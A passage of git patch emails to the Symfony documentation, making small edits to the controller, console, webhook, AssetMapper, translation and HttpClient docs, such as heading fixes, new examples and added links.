 * ``ip`` or ``ips``: netmasks are also supported (can be a comma-separated string)

From 93cec5fcd819cc6fcaec4b14485e020443cc4804 Mon Sep 17 00:00:00 2001
From: Matt Janssen <matt.janssen@cleverconnect.com>
Date: Thu, 21 Dec 2023 10:59:59 +0100
Subject: [PATCH 4204/5766] [Value Resolver] Added
 `RequestPayloadValueResolver` section

Co-authored-by: Alexandre Daubois <2144837+alexandre-daubois@users.noreply.github.com>
---
 controller.rst                |  4 ++++
 controller/value_resolver.rst | 15 +++++++++++++++
 2 files changed, 19 insertions(+)

diff --git a/controller.rst b/controller.rst
index 6837c28c837..8e8c5d193e9 100644
--- a/controller.rst
+++ b/controller.rst
@@ -388,6 +388,8 @@ attribute, arguments of your controller's action can be automatically fulfilled:
     The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryParameter` attribute
     was introduced in Symfony 6.3.
 
+.. _controller-mapping-query-string:
+
 Mapping The Whole Query String
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -445,6 +447,8 @@ You can customize the validation groups used during the mapping thanks to the
     The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString` attribute
     was introduced in Symfony 6.3.
 
+.. _controller-mapping-request-payload:
+
 Mapping Request Payload
 ~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 71efd680b08..7509920bc04 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -79,6 +79,19 @@ Symfony ships with the following value resolvers in the
 
         The ``BackedEnumValueResolver`` and ``EnumRequirement`` were introduced in Symfony 6.1.
 
+
+:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestPayloadValueResolver`
+    Maps the request payload or the query string into the type-hinted object.
+
+    Because this is a :ref:`targeted value resolver <value-resolver-targeted>`,
+    you'll have to use either the :ref:`MapRequestPayload <controller-mapping-request-payload>`
+    or the :ref:`MapQueryString <controller-mapping-query-string>` attribute
+    in order to use this resolver.
+
+    .. versionadded:: 6.3
+
+        The ``RequestPayloadValueResolver`` was introduced in Symfony 6.3.
+
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestAttributeValueResolver`
     Attempts to find a request attribute that matches the name of the argument.
 
@@ -430,6 +443,8 @@ command to see which argument resolvers are present and in which order they run:
 You can also configure the name passed to the ``ValueResolver`` attribute to target
 your resolver. Otherwise it will default to the service's id.
 
+.. _value-resolver-targeted:
+
 ``controller.targeted_value_resolver``
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From f43dff036ae393b5b28423f4848eae561b3dd8d7 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 21 Dec 2023 12:07:40 +0100
Subject: [PATCH 4205/5766] fix headline

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index c5e15aa84e2..307a9334d75 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -904,7 +904,7 @@ running the ``messenger:consume`` command.
 
 .. _messenger-retries-failures:
 
-Rate limited transport
+Rate Limited Transport
 ~~~~~~~~~~~~~~~~~~~~~~
 
 .. versionadded:: 6.2

From 2fc4c2fe7957f27e7aecd6fb0c38b7b075fb8455 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 22 Dec 2023 14:46:59 +0100
Subject: [PATCH 4206/5766] some tweaks for the Webhook docs

---
 mailer.rst   |  2 +-
 notifier.rst |  2 +-
 webhook.rst  | 14 +++++++-------
 3 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 8354400ac5c..85cae8368c4 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -281,7 +281,7 @@ party provider:
 
 .. tip::
 
-    Some third party mailers, when using the API, support status callback
+    Some third party mailers, when using the API, support status callbacks
     via webhooks. See the :doc:`Webhook documentation </webhook>` for more
     details.
 
diff --git a/notifier.rst b/notifier.rst
index 29af133278a..d964272bec1 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -118,7 +118,7 @@ Service             Package                                DSN
 
 .. tip::
 
-    Some third party transports, when using the API, support status callback
+    Some third party transports, when using the API, support status callbacks
     via webhooks. See the :doc:`Webhook documentation </webhook>` for more
     details.
 
diff --git a/webhook.rst b/webhook.rst
index b7457bb2e08..ded720ff75b 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -3,7 +3,7 @@ Webhook
 
 .. versionadded:: 6.3
 
-    The Webhook component was introduced in Symfony 6.3
+    The Webhook component was introduced in Symfony 6.3.
 
 The Webhook component is used to respond to remote webhooks to trigger actions
 in your application. This document focuses on using webhooks to listen to remote
@@ -16,17 +16,17 @@ Installation
 
     $ composer require symfony/webhook
 
-Usage in combination with the Mailer component
+Usage in Combination with the Mailer Component
 ----------------------------------------------
 
 When using a third-party mailer, you can use the Webhook component to receive
 webhook calls from the third-party mailer.
 
-In this example Mailgun is used with ``'mailer_mailgun'`` as webhook type.
-Any type name can be used as long as it's unique. Make sure to use it in the
+In this example Mailgun is used with ``'mailer_mailgun'`` as the webhook type.
+Any type name can be used as long as it is unique. Make sure to use it in the
 routing configuration, the webhook URL and the RemoteEvent consumer.
 
-Install the third party mailer as described in the documentation of the
+Install the third-party mailer as described in the documentation of the
 :ref:`Mailer component <mailer_3rd_party_transport>`.
 
 The Webhook component routing needs to be defined:
@@ -131,13 +131,13 @@ With this done, you can now add a RemoteEvent consumer to react to the webhooks:
         }
     }
 
-Usage in combination with the Notifier component
+Usage in Combination with the Notifier Component
 ------------------------------------------------
 
 The usage of the Webhook component when using a third-party transport in
 the Notifier is very similar to the usage with the Mailer.
 
-Currently, the following third-party sms transports support webhooks:
+Currently, the following third-party SMS transports support webhooks:
 
 ============ ==========================================
 SMS service  Parser service name

From 12c8d58cf9851c418e100bbed5532873e46d3031 Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Sat, 23 Dec 2023 01:36:42 +0100
Subject: [PATCH 4207/5766] [Reference] Fix assets links have wrong label

Asset options shared the same label, making the reading of this paragraph a bit confusing.

I'm more signaling you than fixing it with confidence, as i'm not sure how to use the syntax there with references pages.

Targetting 5.4 because the "bug" is on all current versions (5.4 -> 7.1)
---
 reference/twig_reference.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 5d13a79abaf..cb3c83f6829 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -120,8 +120,10 @@ the application is installed (e.g. in case the project is accessed in a host
 subdirectory) and the optional asset package base path.
 
 Symfony provides various cache busting implementations via the
-:ref:`reference-framework-assets-version`, :ref:`reference-assets-version-strategy`,
-and :ref:`reference-assets-json-manifest-path` configuration options.
+:ref:`assets.version <reference-framework-assets-version>`, 
+:ref:`assets.version_strategy <reference-assets-version-strategy>`, 
+and :ref:`assets.json_manifest_path <reference-assets-json-manifest-path>` 
+configuration options.
 
 .. seealso::
 

From 5f063a2722895e7badcc57199392399f25e8ea1d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9o=20FIDRY?= <theo.fidry@gmail.com>
Date: Tue, 1 Aug 2023 11:17:24 +0200
Subject: [PATCH 4208/5766] [Console] Add more examples for lazy commands

---
 console/commands_as_services.rst |  2 ++
 console/lazy_commands.rst        | 33 +++++++++++++++++++++++++++++++-
 2 files changed, 34 insertions(+), 1 deletion(-)

diff --git a/console/commands_as_services.rst b/console/commands_as_services.rst
index 63bed40e4db..75aa13d5be8 100644
--- a/console/commands_as_services.rst
+++ b/console/commands_as_services.rst
@@ -133,3 +133,5 @@ only when the ``app:sunshine`` command is actually called.
 .. caution::
 
     Calling the ``list`` command will instantiate all commands, including lazy commands.
+    However, if the command is a ``Symfony\Component\Console\Command\LazyCommand``, then
+    the underlying command factory will not be executed.
diff --git a/console/lazy_commands.rst b/console/lazy_commands.rst
index f76e3fc29a5..d7210789c4f 100644
--- a/console/lazy_commands.rst
+++ b/console/lazy_commands.rst
@@ -10,6 +10,13 @@ The traditional way of adding commands to your application is to use
 :method:`Symfony\\Component\\Console\\Application::add`, which expects a
 ``Command`` instance as an argument.
 
+This approach can have downsides as some commands might be expensive to
+instantiate in which case you may want to lazy-load them. Note however that lazy-loading
+is not absolute. Indeed a few commands such as `list`, `help` or `_complete` can
+require to instantiate other commands although they are lazy. For example `list` needs
+to get the name and description of all commands, which might require the command to be
+instantiated to get.
+
 In order to lazy-load commands, you need to register an intermediate loader
 which will be responsible for returning ``Command`` instances::
 
@@ -19,7 +26,9 @@ which will be responsible for returning ``Command`` instances::
     use Symfony\Component\Console\CommandLoader\FactoryCommandLoader;
 
     $commandLoader = new FactoryCommandLoader([
-        'app:heavy' => function (): Command { return new HeavyCommand(); },
+        // Note that the `list` command will still instantiate that command
+        // in this example.
+        'app:heavy' => static fn(): Command => new HeavyCommand(),
     ]);
 
     $application = new Application();
@@ -36,6 +45,28 @@ method accepts any
 :class:`Symfony\\Component\\Console\\CommandLoader\\CommandLoaderInterface`
 instance so you can use your own implementation.
 
+Another way to do so is to take advantage of ``Symfony\Component\Console\Command\LazyCommand``::
+
+    use App\Command\HeavyCommand;
+    use Symfony\Component\Console\Application;
+    use Symfony\Component\Console\Command\Command;
+    use Symfony\Component\Console\CommandLoader\FactoryCommandLoader;
+
+    // In this case although the command is instantiated, the underlying command factory
+    // will not be executed unless the command is actually executed or one tries to access
+    // to its input definition to know its argument or option inputs.
+    $lazyCommand = new LazyCommand(
+        'app:heavy',
+        [],
+        'This is another more complete form of lazy command.',
+        false,
+        static fn (): Command => new HeavyCommand(),
+    );
+
+    $application = new Application();
+    $application->add($lazyCommand);
+    $application->run();
+
 Built-in Command Loaders
 ------------------------
 

From 96552a35705ff74ea8aa5bb68053ed295d91b7b2 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 23 Dec 2023 11:50:55 +0100
Subject: [PATCH 4209/5766] -

---
 reference/twig_reference.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index cb3c83f6829..481cbd23898 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -120,9 +120,9 @@ the application is installed (e.g. in case the project is accessed in a host
 subdirectory) and the optional asset package base path.
 
 Symfony provides various cache busting implementations via the
-:ref:`assets.version <reference-framework-assets-version>`, 
-:ref:`assets.version_strategy <reference-assets-version-strategy>`, 
-and :ref:`assets.json_manifest_path <reference-assets-json-manifest-path>` 
+:ref:`assets.version <reference-framework-assets-version>`,
+:ref:`assets.version_strategy <reference-assets-version-strategy>`,
+and :ref:`assets.json_manifest_path <reference-assets-json-manifest-path>`
 configuration options.
 
 .. seealso::

From 3a0df2be2725d85ca21c57c934af6c266b5d7e6a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Alejandro=20Garc=C3=ADa=20Rodr=C3=ADguez?=
 <alejgarciarodriguez@gmail.com>
Date: Sat, 23 Dec 2023 18:24:02 +0100
Subject: [PATCH 4210/5766] replace get() with all() method to support
 non-scalar types

---
 form/direct_submit.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index 3e239bfc138..dfd24acec82 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -17,7 +17,7 @@ control over when exactly your form is submitted and what data is passed to it::
         $form = $this->createForm(TaskType::class, $task);
 
         if ($request->isMethod('POST')) {
-            $form->submit($request->request->get($form->getName()));
+            $form->submit($request->request->all($form->getName()));
 
             if ($form->isSubmitted() && $form->isValid()) {
                 // perform some action...

From 74786321fee9d862130a22df7651238d9bce7311 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sun, 24 Dec 2023 09:21:57 +0100
Subject: [PATCH 4211/5766] syntax tweaks

---
 console/lazy_commands.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/console/lazy_commands.rst b/console/lazy_commands.rst
index d7210789c4f..487ef32955f 100644
--- a/console/lazy_commands.rst
+++ b/console/lazy_commands.rst
@@ -12,8 +12,8 @@ The traditional way of adding commands to your application is to use
 
 This approach can have downsides as some commands might be expensive to
 instantiate in which case you may want to lazy-load them. Note however that lazy-loading
-is not absolute. Indeed a few commands such as `list`, `help` or `_complete` can
-require to instantiate other commands although they are lazy. For example `list` needs
+is not absolute. Indeed a few commands such as ``list``, ``help`` or ``_complete`` can
+require to instantiate other commands although they are lazy. For example ``list`` needs
 to get the name and description of all commands, which might require the command to be
 instantiated to get.
 
@@ -54,7 +54,7 @@ Another way to do so is to take advantage of ``Symfony\Component\Console\Command
 
     // In this case although the command is instantiated, the underlying command factory
     // will not be executed unless the command is actually executed or one tries to access
-    // to its input definition to know its argument or option inputs.
+    // its input definition to know its argument or option inputs.
     $lazyCommand = new LazyCommand(
         'app:heavy',
         [],

From 786e4aa10a16961f898ec7bf9246dd66c0fc0fad Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 22 Dec 2023 14:43:22 +0100
Subject: [PATCH 4212/5766] tweak the AssetMapper docs

---
 frontend/asset_mapper.rst | 26 +++++++++++++-------------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 70db9265226..8ac9c2d575e 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -406,7 +406,7 @@ CSS can be added to your page by importing it from a JavaScript file. The defaul
     // ...
 
 When you call ``importmap('app')`` in ``base.html.twig``, AssetMapper parses
-``assets/app.js`` (and any JavaScript files that *it* imports) looking for ``import``
+``assets/app.js`` (and any JavaScript files that it imports) looking for ``import``
 statements for CSS files. The final collection of CSS files is rendered onto
 the page as ``link`` tags in the order they were imported.
 
@@ -513,7 +513,7 @@ Missing importmap Entry
 ~~~~~~~~~~~~~~~~~~~~~~~
 
 One of the most common errors will come from your browser's console, and
-will something like this:
+will look something like this:
 
     Failed to resolve module specifier "    bootstrap". Relative references must start
     with either "/", "./", or "../".
@@ -764,25 +764,25 @@ If you *do* need to support very old browsers, you should use a tool like
     (https://caniuse.com/import-maps), you can use an ``importShim()`` function
     from the shim: https://www.npmjs.com/package/es-module-shims#user-content-polyfill-edge-case-dynamic-import
 
-Can I Use with Sass or Tailwind?
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Can I Use it with Sass or Tailwind?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Sure! See :ref:`Using Tailwind CSS <asset-mapper-tailwind>` or :ref:`Using Sass <asset-mapper-sass>`.
 
-Can I use with TypeScript?
-~~~~~~~~~~~~~~~~~~~~~~~~~~
+Can I Use it with TypeScript?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Sure! See :ref:`Using TypeScript <asset-mapper-ts>`.
 
-Can I use with JSX or Vue?
-~~~~~~~~~~~~~~~~~~~~~~~~~~
+Can I Use it with JSX or Vue?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Probably not. And if you're writing an application in React, Svelte or another
 frontend framework, you'll probably be better off using *their* tools directly.
 
 JSX *can* be compiled directly to a native JavaScript file but if you're using a lot of JSX,
 you'll probably want to use a tool like :ref:`Encore <frontend-webpack-encore>`.
-See the `UX React Documentation`_ for more details about using with the AssetMapper
+See the `UX React Documentation`_ for more details about using it with the AssetMapper
 component.
 
 Vue files *can* be written in native JavaScript, and those *will* work with
@@ -796,7 +796,7 @@ component.
 Using TypeScript
 ----------------
 
-To use TypeScript with AssetMapper component, check out `sensiolabs/typescript-bundle`_.
+To use TypeScript with the AssetMapper component, check out `sensiolabs/typescript-bundle`_.
 
 Third-Party Bundles & Custom Asset Paths
 ----------------------------------------
@@ -875,7 +875,7 @@ Then try the command again.
 Configuration Options
 ---------------------
 
-You can see every available configuration option and some info by running:
+You can see every available configuration options and some info by running:
 
 .. code-block:: terminal
 
@@ -897,7 +897,7 @@ can be a simple list:
                 - assets/
                 - vendor/some/package/assets
 
-Of you can give each path a "namespace" that will be used in the asset map:
+Or you can give each path a "namespace" that will be used in the asset map:
 
 .. code-block:: yaml
 
@@ -1097,7 +1097,7 @@ command that checks security vulnerabilities in the dependencies of your applica
     6 vulnerabilities found: 1 Critical / 1 High / 4 Medium
 
 The command will return the ``0`` exit code if no vulnerability is found, or
-the ``-1`` exit code otherwise. This means that you can seamlessly integrate this
+the ``1`` exit code otherwise. This means that you can seamlessly integrate this
 command as part of your CI to be warned anytime a new vulnerability is found.
 
 .. tip::

From 9f4b6263f317b38b9294a6d0622cc79ea6d598ae Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Thu, 21 Dec 2023 09:54:44 +0100
Subject: [PATCH 4213/5766] [String] Remove confusing paragraph about
 `withEmoji('strip')`

---
 components/intl.rst   |  9 +++++++++
 components/string.rst | 10 ----------
 2 files changed, 9 insertions(+), 10 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index 46146e47e1b..8dde23105a6 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -424,6 +424,15 @@ platforms::
     $transliterator->transliterate('Menus with 🥗 or 🧆');
     // => 'Menus with :green_salad: or :falafel:'
 
+Furthermore the ``EmojiTransliterator`` provides a special ``strip`` locale
+that removes all the emojis from a string::
+
+    use Symfony\Component\Intl\Transliterator\EmojiTransliterator;
+
+    $transliterator = EmojiTransliterator::create('strip');
+    $transliterator->transliterate('🎉Hey!🥳 🎁Happy Birthday!🎁');
+    // => 'Hey! Happy Birthday!'
+
 .. tip::
 
     Combine this emoji transliterator with the :ref:`Symfony String slugger <string-slugger-emoji>`
diff --git a/components/string.rst b/components/string.rst
index f743849fd19..b3d9bb7954b 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -589,16 +589,6 @@ from GitHub or Slack, use the first argument of ``withEmoji()`` method::
     $slug = $slugger->slug('a 😺, 🐈‍⬛, and a 🦁');
     // $slug = 'a-smiley-cat-black-cat-and-a-lion';
 
-If you want to strip emojis from slugs, use the special ``strip`` locale::
-
-    use Symfony\Component\String\Slugger\AsciiSlugger;
-
-    $slugger = new AsciiSlugger();
-    $slugger = $slugger->withEmoji('strip');
-
-    $slug = $slugger->slug('a 😺, 🐈‍⬛, and a 🦁');
-    // $slug = 'a-and-a';
-
 .. _string-inflector:
 
 Inflector

From 998eafa6f25ae4f1e9992726ee029749afa921c3 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 26 Dec 2023 09:23:34 +0100
Subject: [PATCH 4214/5766] Mention Symfony CLI workers where applicable

---
 frontend/encore/simple-example.rst | 7 +++++++
 messenger.rst                      | 7 +++++++
 setup/symfony_server.rst           | 2 ++
 3 files changed, 16 insertions(+)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 2d46a392293..9ba62c797ee 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -83,6 +83,13 @@ To build the assets, run the following if you use the Yarn package manager:
 All of these commands - e.g. ``dev`` or ``watch`` - are shortcuts that are defined
 in your ``package.json`` file.
 
+.. tip::
+
+    If you're using the Symfony CLI tool, you can configure workers to be
+    automatically run along with the webserver. You can find more information
+    in the :ref:`Symfony CLI Workers <symfony-server_configuring-workers>`
+    documentation.
+
 .. caution::
 
     Whenever you make changes in your ``webpack.config.js`` file, you must
diff --git a/messenger.rst b/messenger.rst
index 2de70a2d0cc..97100cdbd34 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -482,6 +482,13 @@ The first argument is the receiver's name (or service id if you routed to a
 custom service). By default, the command will run forever: looking for new messages
 on your transport and handling them. This command is called your "worker".
 
+.. tip::
+
+    In a development environment and if you're using the Symfony CLI tool,
+    you can configure workers to be automatically run along with the webserver.
+    You can find more information in the
+    :ref:`Symfony CLI Workers <symfony-server_configuring-workers>` documentation.
+
 .. tip::
 
     To properly stop a worker, throw an instance of
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 76073b5dcfa..2e61d331bd4 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -338,6 +338,8 @@ There are several options that you can set using a ``.symfony.local.yaml`` confi
     using the ``proxy:domain:attach`` command for the current project when you start
     the server.
 
+.. _symfony-server_configuring-workers:
+
 Configuring Workers
 ~~~~~~~~~~~~~~~~~~~
 

From 8d69319ff59ef8ae2498469e405289c5bbdb604c Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Sat, 23 Dec 2023 18:37:12 +0100
Subject: [PATCH 4215/5766] Remove reference to some removed classes

---
 create_framework/http_kernel_httpkernel_class.rst |  5 -----
 introduction/from_flat_php_to_symfony.rst         | 11 +++++------
 messenger.rst                                     |  2 +-
 3 files changed, 6 insertions(+), 12 deletions(-)

diff --git a/create_framework/http_kernel_httpkernel_class.rst b/create_framework/http_kernel_httpkernel_class.rst
index fa673f9ba57..ecf9d4c7879 100644
--- a/create_framework/http_kernel_httpkernel_class.rst
+++ b/create_framework/http_kernel_httpkernel_class.rst
@@ -114,11 +114,6 @@ client; that's what the ``ResponseListener`` does::
 
     $dispatcher->addSubscriber(new HttpKernel\EventListener\ResponseListener('UTF-8'));
 
-If you want out of the box support for streamed responses, subscribe
-to ``StreamedResponseListener``::
-
-    $dispatcher->addSubscriber(new HttpKernel\EventListener\StreamedResponseListener());
-
 And in your controller, return a ``StreamedResponse`` instance instead of a
 ``Response`` instance.
 
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index 7386f629546..3ae6a16d8a3 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -240,7 +240,7 @@ the ``templates/layout.php``:
 You now have a setup that will allow you to reuse the layout.
 Unfortunately, to accomplish this, you're forced to use a few ugly
 PHP functions (``ob_start()``, ``ob_get_clean()``) in the template. Symfony
-solves this using a `Templating`_ component. You'll see it in action shortly.
+solves this using `Twig`_. You'll see it in action shortly.
 
 Adding a Blog "show" Page
 -------------------------
@@ -568,9 +568,8 @@ nice way to group related pages. The controller functions are also sometimes cal
 
 The two controllers (or actions) are still lightweight. Each uses the
 :doc:`Doctrine ORM library </doctrine>` to retrieve objects from the
-database and the Templating component to render a template and return a
-``Response`` object. The ``list.html.twig`` template is now quite a bit simpler,
-and uses Twig:
+database and Twig to render a template and return a ``Response`` object.
+The ``list.html.twig`` template is now quite a bit simpler, and uses Twig:
 
 .. code-block:: html+twig
 
@@ -677,7 +676,7 @@ migrating the blog from flat PHP to Symfony has improved your life:
   :doc:`routing </routing>`, or rendering :doc:`controllers </controller>`;
 
 * Symfony gives you **access to open source tools** such as `Doctrine`_ and the
-  `Templating`_, :doc:`Security </security>`, :doc:`Form </components/form>`,
+  `Twig`_, :doc:`Security </security>`, :doc:`Form </components/form>`,
   `Validator`_ and `Translation`_ components (to name a few);
 
 * The application now enjoys **fully-flexible URLs** thanks to the Routing
@@ -694,7 +693,7 @@ A good selection of `Symfony community tools`_ can be found on GitHub.
 
 .. _`Model-View-Controller`: https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller
 .. _`Doctrine`: https://www.doctrine-project.org/
-.. _Templating: https://github.com/symfony/templating
+.. _Twig: https://github.com/twigphp/twig
 .. _Translation: https://github.com/symfony/translation
 .. _`Composer`: https://getcomposer.org
 .. _`download Composer`: https://getcomposer.org/download/
diff --git a/messenger.rst b/messenger.rst
index 5d620fde6a4..bdd74c4750a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2381,7 +2381,7 @@ will not be rolled back.
 
     If ``WhenUserRegisteredThenSendWelcomeEmail`` throws an exception, that
     exception will be wrapped into a ``DelayedMessageHandlingException``. Using
-    ``DelayedMessageHandlingException::getExceptions`` will give you all
+    ``DelayedMessageHandlingException::getWrappedExceptions`` will give you all
     exceptions that are thrown while handling a message with the
     ``DispatchAfterCurrentBusStamp``.
 

From e9c44f44ea4ddbd873dd57eba8b9e077907cc071 Mon Sep 17 00:00:00 2001
From: Andrii Bodnar <andrii.bodnar@crowdin.com>
Date: Tue, 26 Dec 2023 17:09:41 +0200
Subject: [PATCH 4216/5766] [Translation] Add a tip about Crowdin language
 mapping

---
 translation.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/translation.rst b/translation.rst
index 8d965b78e73..33549a66f56 100644
--- a/translation.rst
+++ b/translation.rst
@@ -693,6 +693,13 @@ configure the ``providers`` option:
             ],
         ]);
 
+.. tip::
+
+    If you use Crowdin as a provider and some of your locales are different from
+    the `Crowdin Language Codes`_, you have to set the `Custom Language Codes`_ in the Crowdin project
+    for each of your locales, in order to override the default value. You need to select the
+    "locale" placeholder and specify the custom code in the "Custom Code" field.
+
 .. tip::
 
     If you use Lokalise as a provider and a locale format following the `ISO
@@ -1501,3 +1508,5 @@ Learn more
 .. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
 .. _`pseudolocalization`: https://en.wikipedia.org/wiki/Pseudolocalization
 .. _`Symfony Demo`: https://github.com/symfony/demo
+.. _`Crowdin Language Codes`: https://developer.crowdin.com/language-codes
+.. _`Custom Language Codes`: https://support.crowdin.com/project-settings/#languages

From 436f69e60f3177827ffb162bd48824433dd2acc5 Mon Sep 17 00:00:00 2001
From: Thomas Durand <thomas.durand.verjat@gmail.com>
Date: Thu, 14 Dec 2023 15:41:19 +0100
Subject: [PATCH 4217/5766] [HttpClient] Add `HttpOptions::addHeader` method

---
 http_client.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 2ca591a5098..b76c8e25199 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -150,10 +150,17 @@ brings most of the available options with type-hinted getters and setters::
     $this->client = $client->withOptions(
         (new HttpOptions())
             ->setBaseUri('https://...')
+            // setHeaders() replaces *all* headers at once, and deletes the headers you do not provide
             ->setHeaders(['header-name' => 'header-value'])
+            // add or replace a single header using addHeader()
+            ->addHeader('another-header-name', 'another-header-value')
             ->toArray()
     );
 
+.. versionadded:: 7.1
+
+    The :method:`Symfony\\Component\\HttpClient\\HttpOptions::addHeader` method was introduced in Symfony 7.1.
+
 Some options are described in this guide:
 
 * `Authentication`_

From e9c7ec718bd2842d30d8886880a2ad43229dc767 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 26 Dec 2023 21:54:15 +0100
Subject: [PATCH 4218/5766] -

---
 http_client.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index dc316fb09dc..09c8aaa28b6 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -150,7 +150,7 @@ brings most of the available options with type-hinted getters and setters::
     $this->client = $client->withOptions(
         (new HttpOptions())
             ->setBaseUri('https://...')
-            // setHeaders() replaces *all* headers at once, and deletes the headers you do not provide
+            // replaces *all* headers at once, and deletes the headers you do not provide
             ->setHeaders(['header-name' => 'header-value'])
             // add or replace a single header using addHeader()
             ->addHeader('another-header-name', 'another-header-value')
@@ -159,7 +159,8 @@ brings most of the available options with type-hinted getters and setters::
 
 .. versionadded:: 7.1
 
-    The :method:`Symfony\\Component\\HttpClient\\HttpOptions::addHeader` method was introduced in Symfony 7.1.
+    The :method:`Symfony\\Component\\HttpClient\\HttpOptions::addHeader`
+    method was introduced in Symfony 7.1.
 
 Some options are described in this guide:
 

From fc23fa3625a421d0710638ec493e7c4e8c81ef34 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 26 Dec 2023 21:59:30 +0100
Subject: [PATCH 4219/5766] Add missing link

---
 notifier.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/notifier.rst b/notifier.rst
index c58c777887e..e68ca298bda 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -1002,6 +1002,7 @@ is dispatched. Listeners receive a
 .. _`Slack`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Slack/README.md
 .. _`Sms77`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sms77/README.md
 .. _`SmsBiuras`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsBiuras/README.md
+.. _`Smsbox`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsbox/README.md
 .. _`Smsapi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsapi/README.md
 .. _`Smsc`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsc/README.md
 .. _`SpotHit`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SpotHit/README.md

From 2a8e749d28a630a167a8f86d50b81fa6722c9deb Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 26 Dec 2023 21:59:55 +0100
Subject: [PATCH 4220/5766] -

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index e68ca298bda..663398a5c0c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -246,7 +246,8 @@ Service                                  Package                               D
 
 .. versionadded:: 7.1
 
